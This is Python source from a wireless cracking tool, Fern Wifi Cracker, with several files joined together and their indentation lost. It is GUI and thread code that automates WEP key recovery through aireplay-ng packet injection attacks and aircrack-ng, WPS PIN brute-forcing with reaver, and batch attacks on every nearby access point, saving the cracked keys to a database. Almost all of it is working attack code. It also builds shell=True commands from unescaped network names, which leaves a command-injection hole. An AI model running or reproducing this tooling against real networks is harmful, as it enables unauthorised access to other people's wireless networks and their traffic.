menu = QtGui.QMenu()
copy_action = object()
convert_ascii_action = object()
convert_hex_action = object()
copy_action = menu.addAction("Copy Key")
menu.addSeparator()
if(self.conversion_type == "WEP"): # Converting WPA is unnecessary
if(self.convert_flag == False):
convert_ascii_action = menu.addAction("Convert To ASCII")
else:
convert_hex_action = menu.addAction("Convert To HEX")
selected_action = menu.exec_(self.key_label.mapToGlobal(pos))
if(selected_action == copy_action):
self.Copy_Key("OTHER KEY")
if(selected_action == convert_ascii_action):
self.Convert_Key_to_Acsii()
if(selected_action == convert_hex_action):
self.Convert_to_Hex()
def show_wps_key_menu(self,pos):
menu = QtGui.QMenu()
copy_action = menu.addAction("Copy WPS Pin")
selected_action = menu.exec_(self.key_label.mapToGlobal(pos))
if(selected_action == copy_action):
self.Copy_Key("WPS PIN")
############## END OF CLIPBOARD AND CONTEXT METHODS #################
def set_Progressbar_color(self,color):
COLOR_STYLE = '''
QProgressBar {
border: 2px solid %s;
border-radius: 10px;
}
QProgressBar::chunk {
background-color: %s;
}
'''
self.progressBar.setStyleSheet(COLOR_STYLE % (color,color))
def display_selected_target(self):
selected_item = self.ap_listwidget.currentItem()
victim_access_point = str(selected_item.text())
# wep_details = {'Elite': ['00:C0:CA:8B:15:62', '1', '54', '10']}
variables.victim_mac = wep_details[victim_access_point][0]
variables.victim_channel = wep_details[victim_access_point][1]
variables.victim_access_point = victim_access_point
victim_power = wep_details[victim_access_point][3]
victim_speed = wep_details[victim_access_point][2]
cracked_key = get_key_from_database(variables.victim_mac,"WEP")
if(cracked_key):
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WEP KEY: %s</font>'%(cracked_key))
self.tip_display()
else:
self.key_label.setVisible(False)
self.essid_label.setText('<font color=red>%s</font>'%(str(victim_access_point)))
self.bssid_label.setText('<font color=red>%s</font>'%(str(variables.victim_mac)))
self.channel_label.setText('<font color=red>%s</font>'%(str(variables.victim_channel)))
self.power_label.setText('<font color=red>%s</font>'%(str(victim_power)))
self.encrypt_wep_label.setText('<font color=red>WEP</font>')
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.set_if_WPS_Support()
def show_tips(self):
tips = tips_window()
tips.type = 2
tips.setWindowTitle("Tips")
tips.label_2.setText("To copy the successfully cracked keys to clipboard, Please right click")
tips.label_3.setText("on the cracked key of your choice and select \"Copy\".")
tips.label_4.setText("You can also convert between ASCII to HEX keys for WEP.")
tips.label_5.setVisible(False)
tips.exec_()
def tip_display(self):
if(self.settings.setting_exists("copy key tips")):
if(self.settings.read_last_settings("copy key tips") == "0"):
self.show_tips()
else:
self.settings.create_settings("copy key tips","1")
self.show_tips()
def display_access_points(self):
self.ap_listwidget.clear()
self.ap_listwidget.setSpacing(12)
for access_point in wep_details.keys():
self.access_points.add(access_point)
item = QtGui.QListWidgetItem(self.ap_listwidget)
icon = QtGui.QIcon()
icon.addPixmap(self.wifi_icon)
item.setIcon(icon)
item.setText(access_point)
self.ap_listwidget.addItem(item)
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.ap_listwidget.setMovement(QtGui.QListView.Snap)
def Check_New_Access_Point(self):
while(True):
updated_list = set(wep_details.keys())
if(True):
new_list = self.access_points.symmetric_difference(updated_list)
if(len(list(new_list))):
self.emit(QtCore.SIGNAL("new access point detected"))
time.sleep(4)
def display_new_access_point(self):
self.ap_listwidget.setSpacing(12)
new_access_points = self.access_points.symmetric_difference(set(wep_details.keys()))
for access_point in list(new_access_points):
self.access_points.add(access_point)
item = QtGui.QListWidgetItem(self.ap_listwidget)
icon = QtGui.QIcon()
icon.addPixmap(self.wifi_icon)
item.setIcon(icon)
item.setText(access_point)
self.ap_listwidget.addItem(item)
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.ap_listwidget.setMovement(QtGui.QListView.Snap)
def wep_disable_items(self):
self.cracking_label_2.setEnabled(False)
self.injecting_label.setEnabled(False)
self.associate_label.setEnabled(False)
self.injection_work_label_2.setEnabled(False)
self.gathering_label.setEnabled(False)
self.progressBar.setValue(0)
self.set_Progressbar_color("#8B0000") # RED
self.ivs_progress_label.setEnabled(False)
self.dictionary_set.setVisible(False)
self.injecting_label.setText("Gathering packets")
self.associate_label.setText("Associating with Access Point")
self.injection_work_label_2.setText("Injection Capability Status")
self.ivs_progress_label.setText('IVS Status')
self.cracking_label_2.setText("Cracking Encryption")
self.gathering_label.setText("Packet Injection Status")
self.finished_label.setText("Finished")
self.finished_label.setEnabled(False)
self.key_label.setVisible(False)
if self.automate_checkbox.isChecked() == False:
self.keys_cracked_label.setVisible(False)
self.wps_pin_label.setVisible(False)
self.attack_button.setText("Attack")
def set_if_WPS_Support(self,messagebox = False):
victim_mac = variables.victim_mac
if not variables.wps_functions.is_WPS_Device(victim_mac):
self.wps_support_label.setEnabled(False)
self.wps_support_label.setText("Supports WPS")
if(messagebox):
QtGui.QMessageBox.warning(self,"WPS Device Support","WPS (WIFI Protected Setup) is not supported or is disabled by the selected access point")
self.regular_attack_radio.setChecked(True)
return
self.wps_support_label.setEnabled(True)
self.wps_support_label.setText("<font color=yellow>Supports WPS</font>")
def check_reaver_status(self):
if not variables.wps_functions.reaver_Installed():
answer = QtGui.QMessageBox.question(self,"Reaver not Detected",
'''The Reaver tool is currently not installed,The tool is necessary for attacking WPS Access Points.\n\nDo you want to open the download link?''',
QtGui.QMessageBox.Yes,QtGui.QMessageBox.No)
if(answer == QtGui.QMessageBox.Yes):
variables.wps_functions.browse_Reaver_Link()
self.regular_attack_radio.setChecked(True)
return
self.set_if_WPS_Support(True)
############## ATACK PANEL METHODS #####################
#
# SIGNALS AND SLOTS FOR THE WEP CRACK STATUS
#
def display_stop_icon(self):
self.progressBar.setValue(0)
self.wep_disable_items()
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/stop.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Stop')
self.thread_control = False
def cancel_wep_attack(self):
self.button_control = True
variables.exec_command('killall airodump-ng')
variables.exec_command('killall aircrack-ng')
variables.exec_command('killall aireplay-ng')
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/wifi_4.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText("Attack")
if(self.wps_attack_radio.isChecked()):
variables.wps_functions.stop_Attack_WPS_Device()
def injection_working(self):
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=yellow> Injection is working on %s</font>'%(variables.monitor_interface))
def injection_not_working(self):
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=red> %s is not injecting or proximity is low </font>'%(variables.monitor_interface))
def associating(self):
self.associate_label.setEnabled(True)
self.associate_label.setText('<font color=yellow>Associating with Access Point</font>')
def association_failed(self):
self.associate_label.setEnabled(True)
self.associate_label.setText('<font color=yellow>Security countermeasure Activated</font>')
def progress_maximum(self):
self.progressBar.setValue(self.ivs_value)
def update_bar(self):
if 'wep_dump-01.csv' in os.listdir('/tmp/fern-log/WEP-DUMP/'):
update_main = reader('/tmp/fern-log/WEP-DUMP/wep_dump-01.csv')
update_filter = update_main.replace(',','\n')
update_filter2 = update_filter.splitlines()
try:
update_progress = int(update_filter2[26].strip(' '))
except IndexError:time.sleep(1)
try:
self.progressBar.setValue(update_progress)
self.ivs_number = update_progress
self.ivs_progress_label.setEnabled(True)
self.ivs_progress_label.setText('<font color=yellow>%s ivs</font>'%(str(update_progress)))
if(self.ivs_number < 3333):
self.set_Progressbar_color("#8B0000") # RED
elif(self.ivs_number < 6666):
self.set_Progressbar_color("#CCCC00") # YELLOW
else:
self.set_Progressbar_color("green")
except UnboundLocalError:time.sleep(1)
else:
pass
def gathering(self):
self.injecting_label.setEnabled(True)
self.injecting_label.setText('<font color=yellow>Gathering Packets</font>')
def passive_mode(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Passive Mode Activated</font>')
def injecting(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting ARP Packets</font>')
def chop_chop_attack(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting Chop-Chop Packets</font>')
def fragmented_attack(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting Fragmented Packets</font>')
def hirte_attack(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting Hirte Packets</font>')
def caffe_latte_attack(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting Caffe Latte Packets</font>')
def P0841_attack(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Injecting ARP Frame Control (0x0841) Packets </font>')
def key_not_found_yet(self):
self.cracking_label_2.setEnabled(True)
self.cracking_label_2.setText('<font color=yellow>Cracking Encryption</font>')
def key_found(self):
global victim_access_point
self.cracking_label_2.setEnabled(True)
self.cracking_label_2.setText('<font color=yellow>Cracking Encryption</font>')
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=yellow>Finished</font>')
self.new_automate_key()
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WEP KEY: %s</font>'%(self.WEP))
self.finished_label.setEnabled(True)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/wifi_4.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Attack')
self.thread_control = True
self.cancel_wep_attack()
variables.exec_command('killall airodump-ng')
variables.exec_command('killall airmon-ng')
if self.settings.setting_exists('capture_directory'):
shutil.copyfile('/tmp/fern-log/WEP-DUMP/wep_dump-01.cap',\
self.settings.read_last_settings('capture_directory') + '/%s_Capture_File(WEP).cap'%(victim_access_point))
self.tip_display() # Display Tips
def cracking(self):
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=red>Please Wait....</font>')
#
# THREADS FOR AUTOMATION
#
def injection_status(self):
monitor = variables.monitor_interface
injection_string = ''
while 'Injection is working' not in injection_string:
injection_string += str(commands.getstatusoutput('aireplay-ng -9 %s'%(monitor)))
self.emit(QtCore.SIGNAL("injection_not_working"))
self.emit(QtCore.SIGNAL("injection_working"))
########################################### SPECIAL COMMAND THREADS ######################################
def dump_thread(self):
wep_victim_channel = variables.victim_channel
access_point_mac = variables.victim_mac
monitor = variables.monitor_interface
variables.exec_command('%s airodump-ng -c %s -w /tmp/fern-log/WEP-DUMP/wep_dump --bssid %s %s'%(variables.xterm_setting,wep_victim_channel,access_point_mac,monitor),"/tmp/fern-log/WEP-DUMP/")
def association_thread(self):
global scan_control
monitor = variables.monitor_interface
attacker_mac_address = variables.monitor_mac_address
self.emit(QtCore.SIGNAL("associating"))
association_string = ''
association_timer = 0
while True:
association_string += str(commands.getstatusoutput('aireplay-ng -1 0 -a %s -h %s %s'%(variables.victim_mac,attacker_mac_address,monitor)))
if'Association successful :-)' in association_string:
thread.start_new_thread(self.successful_accociation_process,())
break
if association_timer >= 1:
thread.start_new_thread(self.unsuccessful_association_process,())
break
if scan_control != 0:
break
association_timer += 1
def unsuccessful_association_process(self):
self.emit(QtCore.SIGNAL('association failed'))
self.emit(QtCore.SIGNAL("gathering"))
time.sleep(4)
thread.start_new_thread(self.update_progress_bar,())
self.emit(QtCore.SIGNAL('passive mode'))
def successful_accociation_process(self):
attack_mode = self.attack_type_combo.currentText()
thread.start_new_thread(self.update_progress_bar,())
self.emit(QtCore.SIGNAL("gathering"))
thread.start_new_thread(self.update_progress_bar,())
time.sleep(4)
if attack_mode == 'ARP Request Replay':
thread.start_new_thread(self.arp_request_thread,()) # arp_request_thread
self.emit(QtCore.SIGNAL("injecting"))
elif attack_mode == 'Chop-Chop Attack': # Chop-Chop attack thread
thread.start_new_thread(self.chop_chop_thread,())
elif attack_mode == 'Fragmentation Attack':
thread.start_new_thread(self.fragmentation_thread,()) # Fragmentation attack thread
elif attack_mode == 'Hirte Attack':
thread.start_new_thread(self.hirte_thread,()) # Hirte Attack
elif attack_mode == 'Caffe Latte Attack':
thread.start_new_thread(self.caffe_latte_thread,()) # Caffe Latte Attack
else:
thread.start_new_thread(self.P0841_thread,()) # Arp Frame Control 0841
##################################### WEP ATTACK MODES ###############################
def arp_request_thread(self):
access_point_mac = variables.victim_mac
monitor = variables.monitor_interface
variables.exec_command("%s aireplay-ng -3 -e '%s' -b %s %s"%(variables.xterm_setting,victim_access_point,access_point_mac,monitor),"/tmp/fern-log/WEP-DUMP/")
def chop_chop_thread(self):
attacker_mac_address = variables.monitor_mac_address
monitor = variables.monitor_interface
access_point_mac = variables.victim_mac
variables.exec_command('%s aireplay-ng -4 -F -h %s %s'%(variables.xterm_setting,attacker_mac_address,monitor),"/tmp/fern-log/WEP-DUMP/")
variables.exec_command('%s packetforge-ng -0 -a %s -h %s -k 255.255.255.255 -l 255.255.255.255 -y \
/tmp/fern-log/WEP-DUMP/*.xor -w /tmp/fern-log/WEP-DUMP/chop_chop.cap'%(variables.xterm_setting,access_point_mac,attacker_mac_address),"/tmp/fern-log/WEP-DUMP/")
self.emit(QtCore.SIGNAL("chop-chop injecting"))
self.emit(QtCore.SIGNAL("chop-chop injecting"))
variables.exec_command('%s aireplay-ng -2 -F -r /tmp/fern-log/WEP-DUMP/chop_chop.cap %s'%(variables.xterm_setting,monitor),"/tmp/fern-log/WEP-DUMP/")
def fragmentation_thread(self):
attacker_mac_address = variables.monitor_mac_address
monitor = variables.monitor_interface
access_point_mac = variables.victim_mac
variables.exec_command('%s aireplay-ng -5 -F -b %s -h %s %s'%(variables.xterm_setting,access_point_mac,attacker_mac_address,monitor),"/tmp/fern-log/WEP-DUMP/")
variables.exec_command('%s packetforge-ng -0 -a %s -h %s -k 255.255.255.255 -l 255.255.255.255 -y /tmp/fern-log/WEP-DUMP/*.xor -w /tmp/fern-log/WEP-DUMP/fragmented.cap'%(variables.xterm_setting,access_point_mac,attacker_mac_address),"/tmp/fern-log/WEP-DUMP/")
self.emit(QtCore.SIGNAL("fragment injecting"))
variables.exec_command('%s aireplay-ng -2 -F -r /tmp/fern-log/WEP-DUMP/fragmented.cap %s'%(variables.xterm_setting,monitor),"/tmp/fern-log/WEP-DUMP/")
def hirte_thread(self):
command = "aireplay-ng -7 -h %s -D %s" % (variables.monitor_mac_address,variables.monitor_interface)
process = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,cwd="/tmp/fern-log/WEP-DUMP/")
self.emit(QtCore.SIGNAL("hirte injecting"))
process.stdin.write("y")
def caffe_latte_thread(self):
command = "aireplay-ng -6 -h %s -b %s -D %s" % (variables.monitor_mac_address,variables.victim_mac,variables.monitor_interface)
process = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,cwd="/tmp/fern-log/WEP-DUMP/")
self.emit(QtCore.SIGNAL("caffe latte injecting"))
process.stdin.write("y")
def P0841_thread(self):
command = "aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b %s -h %s %s" % (variables.victim_mac,variables.monitor_mac_address,variables.monitor_interface)
process = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,cwd="/tmp/fern-log/WEP-DUMP/")
self.emit(QtCore.SIGNAL("P0841 injecting"))
process.stdin.write("y")
################################################# WEP KEY CRACK ########################################################
def crack_wep(self):
directory = '/tmp/fern-log/WEP-DUMP/'
variables.exec_command('killall aircrack-ng')
process = subprocess.Popen('aircrack-ng '+ directory + '*.cap -l '+ directory + 'wep_key.txt',shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
status = process.stdout
while 'wep_key.txt' not in os.listdir('/tmp/fern-log/WEP-DUMP/'):
if 'Failed. Next try with' in status.readline():
thread.start_new_thread(self.crack_wep,())
break
time.sleep(40)
def update_progress_bar(self):
if 'ivs_settings.log' in os.listdir('/tmp/fern-log'):
self.ivs_value = int(reader('/tmp/fern-log/ivs_settings.log'))
maximum = self.progressBar.setMaximum(self.ivs_value)
maximum = self.progressBar.setRange(0,self.ivs_value)
else:
self.ivs_value = 10000
maximum = self.progressBar.setMaximum(10000)
maximum = self.progressBar.setRange(0,10000)
while self.ivs_number <= self.ivs_value:
time.sleep(0.4)
self.emit(QtCore.SIGNAL("update_progress_bar"))
self.emit(QtCore.SIGNAL("progress maximum"))
thread.start_new_thread(self.crack_wep,()) #Thread for cracking wep
thread.start_new_thread(self.key_check,())
self.emit(QtCore.SIGNAL("cracking"))
time.sleep(13)
if 'wep_key.txt' not in os.listdir('/tmp/fern-log/WEP-DUMP/'):
self.emit(QtCore.SIGNAL("next_try"))
QtCore.SIGNAL("update_progress_bar")
thread.start_new_thread(self.updater,())
def updater(self):
global wep_string
while 'wep_key.txt' not in os.listdir('/tmp/fern-log/WEP-DUMP/'):
self.emit(QtCore.SIGNAL("update_progress_bar"))
time.sleep(1)
def key_check(self):
global wep_key_commit
while 'wep_key.txt' not in os.listdir('/tmp/fern-log/WEP-DUMP/'):
self.emit(QtCore.SIGNAL("key not found yet"))
time.sleep(2)
key = reader('/tmp/fern-log/WEP-DUMP/wep_key.txt')
self.WEP = key
self.emit(QtCore.SIGNAL("wep found"))
variables.exec_command('killall aircrack-ng')
variables.exec_command('killall aireplay-ng')
variables.exec_command('killall airmon-ng')
variables.exec_command('killall airodump-ng')
if len(self.WEP) > 0:
if wep_key_commit == 0:
set_key_entries(variables.victim_access_point,variables.victim_mac,'WEP',str(self.WEP.replace(':','')),variables.victim_channel) #Add WEP Key to Database Here
self.emit(QtCore.SIGNAL('update database label'))
wep_key_commit += 1
self.isfinished = True
############################################# END OF THREAD ################################
def run_wep_attack(self):
thread.start_new_thread(self.dump_thread,()) # airodump_thread
thread.start_new_thread(self.association_thread,()) # association_thread
def launch_attack(self):
if(self.automate_checkbox.isChecked()):
thread.start_new_thread(self.launch_attack_2,())
else:
self.wep_launch_attack()
def launch_attack_2(self):
self.isfinished = True
for index,access_point in enumerate(wep_details.keys()):
variables.victim_access_point = access_point
variables.victim_mac = wep_details[access_point][0]
variables.victim_channel = wep_details[access_point][1]
while(self.isfinished == False):
time.sleep(4)
if self.control == False:
break
if(self.index == (len(wep_details.keys()) - 1)):
self.control = False
if(index >= 1):
self.emit(QtCore.SIGNAL("change tree item"))
self.emit(QtCore.SIGNAL("start automated attack"))
self.index = index
self.isfinished = False
while(self.thread_control == False):
time.sleep(1)
def change_treeItem(self):
if(self.automate_checkbox.isChecked()):
self.ap_listwidget.setCurrentItem(self.ap_listwidget.item(self.index))
self.display_selected_target()
def new_automate_key(self):
self.cracked_keys += 1
if(self.automate_checkbox.isChecked()):
self.keys_cracked_label.setVisible(True)
self.keys_cracked_label.setText("<font color=yellow><b>%s keys cracked</b></font>"%(str(self.cracked_keys)))
else:
self.keys_cracked_label.setVisible(False)
def wep_launch_attack(self):
global wep_key_commit
if not self.button_control:
self.cancel_wep_attack()
return
if(is_already_Cracked(variables.victim_mac,"WEP")):
answer = QtGui.QMessageBox.question(self,"Access Point Already Cracked",variables.victim_access_point + "'s key already exists in the database, Do you want to attack and update the already saved key?",QtGui.QMessageBox.Yes,QtGui.QMessageBox.No);
if(answer == QtGui.QMessageBox.No):
self.control = True
return
self.button_control = False
self.control = True
self.ivs_number = 0
self.WEP = ''
wep_key_commit = 0
self.wep_disable_items()
self.emit(QtCore.SIGNAL("stop scan"))
self.emit(QtCore.SIGNAL("display stop icon"))
variables.exec_command('rm -r /tmp/fern-log/WEP-DUMP/*')
# WPS AND REGULAR ATTACK STARTUP
if(self.wps_attack_radio.isChecked()): # WPS Attack Mode
variables.wps_functions.victim_MAC_Addr = variables.victim_mac
self.set_WPS_Objects(variables.wps_functions)
variables.wps_functions.start()
self.isfinished = False
else:
thread.start_new_thread(self.injection_status,()) # Regular Attack Mode
thread.start_new_thread(self.run_wep_attack,())
def set_WPS_Objects(self,instance):
self.progressBar.setMaximum(100)
self.progressBar.setValue(0)
self.connect(instance,QtCore.SIGNAL("Associating with WPS device"),self.associating_wps)
self.connect(instance,QtCore.SIGNAL("Bruteforcing WPS Device"),self.associated_bruteforing)
self.connect(instance,QtCore.SIGNAL("WPS Progress"),self.updating_progress)
self.connect(instance,QtCore.SIGNAL("Cracked WPS Pin"),self.display_WPS_pin)
self.connect(instance,QtCore.SIGNAL("Cracked WPS Key"),self.display_Cracked_Key)
def associating_wps(self):
self.associate_label.setEnabled(True)
self.associate_label.setText("<font color=yellow>Associating with WPS Device</font>")
def associated_bruteforing(self):
self.injecting_label.setEnabled(True)
self.gathering_label.setEnabled(True)
self.injecting_label.setText("<font color=yellow>Associated with %s</font>" % variables.victim_mac)
self.gathering_label.setText("<font color=yellow>Bruteforcing WPS Device</font>")
def updating_progress(self):
self.ivs_progress_label.setEnabled(True)
self.cracking_label_2.setEnabled(True)
value = int(float(variables.wps_functions.progress))
self.progressBar.setValue(value)
if(value < 33):
self.set_Progressbar_color("#8B0000") # RED
elif(value < 66):
self.set_Progressbar_color("#CCCC00") # YELLOW
else:
self.set_Progressbar_color("green")
self.ivs_progress_label.setText("<font color=yellow>" + variables.wps_functions.progress + "% Complete</font>")
self.cracking_label_2.setText("<font color=yellow>Updating Progress</font>")
def display_WPS_pin(self):
self.wps_pin_label.setEnabled(True)
self.wps_pin_label.setVisible(True)
self.wps_pin_label.setText("<font color=red>WPS PIN: " + variables.wps_functions.get_keys()[0] + "</font>" )
def display_Cracked_Key(self):
self.key_label.setEnabled(True)
self.key_label.setVisible(True)
self.key_label.setText("<font color=red>WEP KEY: " + variables.wps_functions.get_keys()[1] + "</font>" )
self.set_Progressbar_color("green")
set_key_entries(variables.victim_access_point,variables.victim_mac,'WEP',variables.wps_functions.get_keys()[1],variables.victim_channel)
self.emit(QtCore.SIGNAL('update database label'))
self.finished_label.setText("<font color=yellow>Finished</font>")
self.new_automate_key()
self.cancel_wep_attack()
self.isfinished = True
self.tip_display() # Display Tips
def closeEvent(self,event):
self.wps_update_timer.stop() | Python |
#-------------------------------------------------------------------------------
# Name: WPS Core
# Purpose: For WPS Attacks using the (Reaver) tool
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 03/09/2012
# Copyright: (c) Fern Wifi Cracker 2012
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import time
import thread
import signal
import commands
import subprocess
import webbrowser
from PyQt4 import QtCore
class WPS_Attack(QtCore.QThread):
def __init__(self):
QtCore.QThread.__init__(self)
self.monitor_interface = str() # Monitor Interface used for scanning
self.monitor_mac_address = str() # MAC Address of monitor interface
self.victim_MAC_Addr = str() # Victim Access Point MAC Address
self.progress = str() # Progress as in 40%
self._scan_control = True # For stopping scanning processes
self._attack_control = True # For stopping WPS attacks
self._associate_flag = False # False if not associated with WPS access point
self.bruteforce_sys_proc = object # Bruteforce object (type() == subprocess)
self._wps_clients = [] # for holding the mac addresses of WPS enabled Access Points
self._wps_client_info = {} # for holding mac address information with channel
self._wps_pin = str() # Used by the get_keys() method for process keys
self._final_key = str()
self.reaver_link = "http://code.google.com/p/reaver-wps/downloads/list"
def reaver_Installed(self):
'''Checks if the reaver tool is installed'''
sys_proc_a = "which reaver"
sys_proc_b = "which wash"
return_code_1 = commands.getstatusoutput(sys_proc_a)[0]
return_code_2 = commands.getstatusoutput(sys_proc_b)[0]
if(bool(return_code_1 or return_code_2)):
return(False)
return(True)
def is_WPS_Device(self,ap_mac_addr):
'''Checks if Device is WPS enabled'''
if(ap_mac_addr.upper() in self._wps_clients):
return(True)
if(ap_mac_addr.lower() in self._wps_clients):
return(True)
return(False)
def browse_Reaver_Link(self):
webbrowser.open(self.reaver_link)
################### ATTACK AND SCAN SECTION ##########################
def _scan_WPS_Devices_Worker(self):
regex = re.compile("([0-9a-f]{2}:){5}[0-9a-f]{2}",re.IGNORECASE)
sys_proc = subprocess.Popen("sudo wash -i %s -C" % (self.monitor_interface) ,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
sys_file = sys_proc.stdout
while(self._scan_control):
response = sys_file.readline()
if(regex.match(str(response))):
information = response.split()
MAC_Address = information[0].upper()
Channel = information[1]
is_WPS_Locked = information[4].upper()
if(is_WPS_Locked == 'NO'):
self._wps_clients.append(MAC_Address)
self._wps_client_info[MAC_Address] = Channel
def _associate_WPS_Device_Aireplay(self):
thread.start_new_thread(self._start_Airodump,())
time.sleep(2)
while(self._attack_control):
subprocess.Popen('aireplay-ng -1 0 -a %s -h %s %s'%(self.victim_MAC_Addr,self.monitor_mac_address,self.monitor_interface),shell=True,
stdout=subprocess.PIPE,stderr=subprocess.PIPE)
time.sleep(2)
if(self._associate_flag):
return
def _start_Airodump(self):
subprocess.Popen("airodump-ng -c %s %s" % (self._wps_client_info[self.victim_MAC_Addr.upper()],self.monitor_interface),
shell=True,cwd="/tmp/",stdout=subprocess.PIPE,stderr=subprocess.PIPE)
def _bruteforce_WPS_Device(self):
channel = self._wps_client_info[self.victim_MAC_Addr.upper()]
wps_key_regex = re.compile(": '(\S+)'",re.IGNORECASE)
wps_pin_regex = re.compile("WPS PIN: '(\d+)'",re.IGNORECASE)
progress_regex = re.compile("(\d+\.\d+)%",re.IGNORECASE)
associate_regex = re.compile("associated with",re.IGNORECASE)
self.bruteforce_sys_proc = subprocess.Popen("reaver -i %s -b %s -c %s -a -N -L" %(self.monitor_interface,self.victim_MAC_Addr,channel),
shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
self.bruteforce_sys_proc.stdin.write('y') # Restore previous session if any
sys_file = self.bruteforce_sys_proc.stdout
while(self._attack_control):
responce = sys_file.readline()
if(associate_regex.findall(str(responce))):
self._associate_flag = True
self.emit(QtCore.SIGNAL("Bruteforcing WPS Device"))
information = progress_regex.findall(str(responce))
if(bool(information)):
self.progress = information[0]
self.emit(QtCore.SIGNAL("WPS Progress"))
self._associate_flag = True
wps_pin = wps_pin_regex.findall(str(responce))
if(bool(wps_pin)):
self._wps_pin = wps_pin[0]
self.emit(QtCore.SIGNAL("Cracked WPS Pin"))
wps_key = wps_key_regex.findall(str(responce))
if(bool(wps_key)):
if(str(wps_key[0]) != str(self._wps_pin)):
self._final_key = wps_key[0]
self.emit(QtCore.SIGNAL("Cracked WPS Key"))
return
def get_keys(self):
keys = tuple([self._wps_pin,self._final_key])
return(keys)
def is_Attack_Finished(self):
if(bool(self._final_key)):
return(True)
if(bool(self._wps_pin)):
return(True)
return(False)
def start_Attack_WPS_Device(self):
self._attack_control = True
self._final_key = str()
self._wps_pin = str()
self._associate_flag = False
self.emit(QtCore.SIGNAL("Associating with WPS device"))
thread.start_new_thread(self._associate_WPS_Device_Aireplay,())
time.sleep(3)
self._bruteforce_WPS_Device()
def stop_Attack_WPS_Device(self):
self._attack_control = False
self.bruteforce_sys_proc.kill # Save bruteforce session on keyboradinterrupt (CTRL - C)
subprocess.Popen("killall aireplay-ng",shell=True)
subprocess.Popen("killall reaver",shell=True)
subprocess.Popen("killall airodump-ng",shell=True)
def start_WPS_Devices_Scan(self):
self._scan_control = True
thread.start_new_thread(self._scan_WPS_Devices_Worker,())
def stop_WPS_Scanning(self):
self._scan_control = False
subprocess.Popen("killall wash",shell=True)
def run(self):
self.start_Attack_WPS_Device()
# Usage
# instance = WPS_Attack()
# instance.monitor_interface = "mon0"
# instance.monitor_mac_address = "00:CA:56:C4:09:A1"
# instance.victim_MAC_Addr = "00:E5:56:C4:09:C3"
# print(instance.progress) # Percentage progress e.g 20%
# instance.start_WPS_Devices_Scan()
# instance.start()
# if(instance.is_Attack_Finished()):
# print(instance.get_keys()) # (123456789,"my_wpa_password")
# instance.terminate()
| Python |
from core.fern import *
############# WEP/WPA/WPS GLOBAL VARIABLES #################
#
# WPS Variables
#
wps_functions = object() # Instance of WPS class
#
# Network scan global variable
#
scan_control = 0
static_channel = str()
monitor_interface = str()
monitor_mac_address = str()
#
# Update checking loop (control variable)
#
updater_control = 0
xterm_setting = ''
#
# Wep Global variables
#
wep_details = {}
victim_mac = ''
victim_channel = ''
victim_access_point = ''
ivs_number = 0
WEP = ''
digit = 0
ivs_new = ivs_number + digit
#
# Wpa Global variables
#
wpa_details = {}
wpa_victim_mac_address = ''
wpa_victim_channel = ''
wpa_victim_access = ''
control = 0
current_word = ''
################### DIRECTORY GLOBAL VARIABLES ##################
#
# Creating /tmp/ directory for logging of wireless information
#
direc = '/tmp/'
log_direc = 'fern-log'
tmp_direc = os.listdir(direc) # list/tmp/
directory = os.getcwd()
#
# Create temporary log directory
#
if 'fern-log' in tmp_direc:
commands.getstatusoutput('rm -r %s'%(direc + log_direc)) # Delete directory in /fern-log if it already exists in /tmp/
os.mkdir(direc + log_direc)
else:
os.mkdir(direc + log_direc) # Create /tmp/fern-log/
#
# Create Sub Temporary directory in /tmp/fern-log
#
os.mkdir('/tmp/fern-log/WPA') # Create /tmp/fern-log/WPA
#
# Evecute commands without display to stdout
#
def exec_command(command,directory = None):
output = open(os.devnull,'w')
ret = subprocess.call(command,shell=True,stdout=output,stderr=output,cwd=directory)
return(ret)
################## TOOL BOX VARIABLES #######################
# FERN GEOLOCATORY MAC-ADDRESS TRACKER VARIABLES
#
